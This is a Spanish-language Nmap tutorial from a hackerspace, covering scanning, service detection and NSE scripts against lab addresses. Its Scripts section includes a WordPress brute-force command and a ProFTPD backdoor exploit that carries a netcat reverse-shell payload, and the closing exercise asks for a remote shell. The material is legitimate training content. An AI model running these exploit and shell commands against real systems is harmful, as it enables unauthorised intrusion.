Nmap 101 - Cordoba HackerSpace

Aviso: Este documento tiene únicamente propósito educacional. Antes de anallizar una red, se debe tener el permiso correspondiente.

1. Introducción

Nmap ("Network Mapper") es una herramienta gratuita y de código abierto que permite encontrar dispositivos en redes y hacer auditorias de seguridad. Nmap es un escáner de red y puede determinar:

- los dispositivos disponibles en una red,
- los servicios de esos dispositivos,
- el sistema operaivo de esos dispositivos,
- los firewalls y filtros usados.

Nmap nos permite saber con certeza qué hay en una red, en vez de qué deberia haber.

2. Uso Básico

2.1. Metodología

Nmap es generalmente usado partiendo de una visión global de la red, y llendo hacia una visión particular de cada sistema en la red. En consequencia, es normal empezar con escaneos y comandos generales para luego, en función de los resulatados, enfocarnos en elementos particulares.

Nmap tiene tres fases de escaneo: Busqueda de sistemas[1], escaneo de puertos y escaneo con scripts. Si tomamos con el modelo TCP/IP de cuatro capas, podemos ver que nmap trabaja en todas.

↑

Fases de nmap	**Modelo TCP/IP**
Escaneo con Script	Aplicación
Escaneo de Puertos	Transporte
Búsqueda de sistemas (Descubrimiento)	Internet
	Enlace

2.2. Sintaxis de comando

```
user@kali $ sudo nmap [Scan Type] [Options] {targets}
```

`Targets` puede ser:

- URLs,
- lista de direcciones IP,
- direcciones de red en CIDR,
- mezcla de los anteriores,
- desde un archivo.

[1]Nota: Nmap usa diferentes técnicas para la búsqueda de sistemas (`https://nmap.org/book/man-host-discovery.html`)

2.3. Ejemplos

```
user@kali $ sudo nmap 192.168.56.16
```

Este comando va realizar la fase de descubrimiento, luego escanear los 1000 puertos TCP más comunes.

```
user@kali $ sudo nmap 192.168.56.0/24
```

Este comando va realizar la fase de descubrimiento, luego escanear los 1000 puertos TCP más comunes, pero para todos los dispositivos de la red. El número de resultados depende de la red y los permisos de usuario.

```
user@kali $ sudo nmap 192.168.56.16-19
```

Este comando es igual al ejemplo enterior. En este caso, usamos una lista de direcciones IP.

```
user@kali $ sudo nmap -iL targets.txt
```

Este comando va realizar la fase de descubrimiento, y luego escanear los 1000 puertos TCP más comunes, pero basado en archivo que contiene la lista de direcciones o redes IP.

3. Modificando el comando básico

Nmap posee múltiple opciones, las relacionadas a los puertos nos permiten:

- cambiar el número de puertos a analizar,
- especificar los puertos a analizar,
- mostrar solo los puertos abiertos,
- escanear puertos UDP.

3.1. Ejemplos

```
user@kali $ sudo nmap --top-ports 10 192.168.56.16
```

Este comando nos permite escanear solo los 10 puertos más comunes.

```
user@kali $ sudo nmap -F 192.168.56.16
```

Este comando nos permite escanear solo los 100 puertos más comunes. La opcion “F” significa “Fast”.

```
user@kali $ sudo nmap -p- 192.168.56.16
```

Este comando va a escanear todos los puertos.

```
user@kali $ sudo nmap -p22,80,443 192.168.56.17
```

Este coamando va a escanear solo los puertos especificados.

```
user@kali $ sudo nmap --open -p22,80,443 192.168.56.17
```

Este comando es igual al anterior pero la opcion `--open` solo muestra los puertos abiertos. No mostrará los puertos filtrados.

```
user@kali $ sudo nmap -sU --top-ports 10 192.168.56.16
```

Este comando va a escanear solo los 10 puertos UDP más comunes.

4. Obteniendo más información

La información adicional que podemos obtener de nmap incluye:

- reconocimiento del sistema operativo (OS fingerprinting),
- nombre y versión de servicio,
- provista por scripts.

4.1. Ejemplos

```
user@kali $ sudo nmap -O 192.168.56.16
```

Este comando va a realizar un reconocimiento del sistema operativo.

```
user@kali $ sudo nmap -sV 192.168.56.16
```

Este comando va a obtener nombre y versión de servicios.

```
user@kali $ sudo nmap -sC 192.168.56.16
```

Este comando va a obtener información adicional usando scripts dentro de la categoría básica. Algunos de estos scripts con considerados intrusivos. Más informac'ion sobre scripts en la sección Scripts.

```
user@kali $ sudo nmap -A 192.168.56.16
```

Este comando va a ejecutar los exemplos anteriores, y un traceroute.

5. Ajustando la velocidad

Nmap controla la velocidad de escaneo de forma automática, basandose en la congestión de la red. Sin embargo podemos ajustar la velocidad con las opciones:

- `-T0` (paranoid),
- `-T1` (sneaky),
- `-T2` (polite),
- `-T3` (normal),
- `-T4` (aggressive),
- `-T5` (insane)

5.1. Ejemplos

```
user@kali $ sudo nmap -T5 192.168.56.16
```

```
user@kali $ sudo nmap -T0 192.168.56.16
```

Con estos ejemplos podemos comparar el tiempo que le toma a nmap para completar los escaneos. Cuando escaneamos una máquina virtual, la diferencia en los tiempos puede ser mínima.

6. Guardando los resultados

Nmap nos permite guardar los resulatos de los scaneos en diferentes formatos:

```
user@kali $ sudo nmap [frmt {<file_name>}] {targets}
```

Donde `frmt`:

- `-oN` es para archivos regulares,
- `-oX` es para archivos XML,
- `-oG` es para archivos para ser usados con expresiones regulares.

6.1. Ejemplo

```
user@kali $ sudo nmap -oG results.txt 192.168.56.16
```

7. Scripts

Los scripts aumentan el comportamiento de nmap. Los scripts se ejecutan luego de que han analizado los puertos abiertos.

Los scripts nos permiten (entre otras cosas):

- Obtener información adicional,
- Encontrar vulnerabilidades por categoria de vulnerabilidades,
- Encontrar vulnerabilidades específicas.

Los scripts son escritos en Lua y, en Kali Linux, se encuentran en `/usr/share/nmap/scripts`.

7.1. Sintaxis

```
user@kali $ sudo nmap --script=<script> [--script-args=<script arguments>] {
   target}
```

7.2. Ejemplos

```
user@kali $ sudo nmap --script=vuln 192.168.56.16
```

Este comando va a ejecutar todos los scripts dentro de la categoria “vulnerability”.

```
user@kali $ sudo nmap --script="http-robots*" 192.168.56.16
```

Este script va a mostrar el contenido del archivo `robots.txt`.

```
  user@kali $ sudo nmap -sV --script="http-wordpress-brute*" --script-args="
     passdb=./dict.txt" 192.168.56.16
```

Este comando va a hacer un ataque de fuerza bruta en un servicio de Wordpress. Es necesario contar con el diccionario `dic.txt` con la lista de contraseñas a probar. Kali Linux tiene diccionarios en `/usr/share/seclists/Passwords`.

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-backd*" 192.168.56.19
```

Este comando va a verificar si el target es vulnerable a una vulnerabilidad específica.

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-back*" --script-args="cmd=ls"
   192.168.56.19
```

Este comando va a listar el contenido de un directorio. Podemos conseguir este resultado al modificar los argumentos del script.

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-back*" --script-args="cmd=rm /
   tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>\&1|nc 192.168.56.1 4444 >/tmp/f
   " 192.168.56.19
```

Este comando va a generar una conexión remota hacia el sistema del atacante. Para conseguir esto, se debe abrir el puerto 4444 con `netcat` en el host. En Kali se puede usar `nc -lvnp 4444` en una terminal adicional.

8. Ejercicio

1. Identificar el puerto escondido en 192.168.56.19,
2. Identificar el nombre y versión del servicio en el puerto escondido,
3. Identificar si el servicio es vulnerable a un exploit conocido,
4. Obtener una conexión remota cambiando los argumentos del script.

Referencias

[1] `https://nmap.org`

[2] `man nmap`

[3] `https://nmap.org/nsedoc/index.html`

[4] `https://nmap.org/book`

[5] Marsh, Nicholas. *Nmap 6 Cookbook: The Fat-Free Guide to Network Scanning.*2015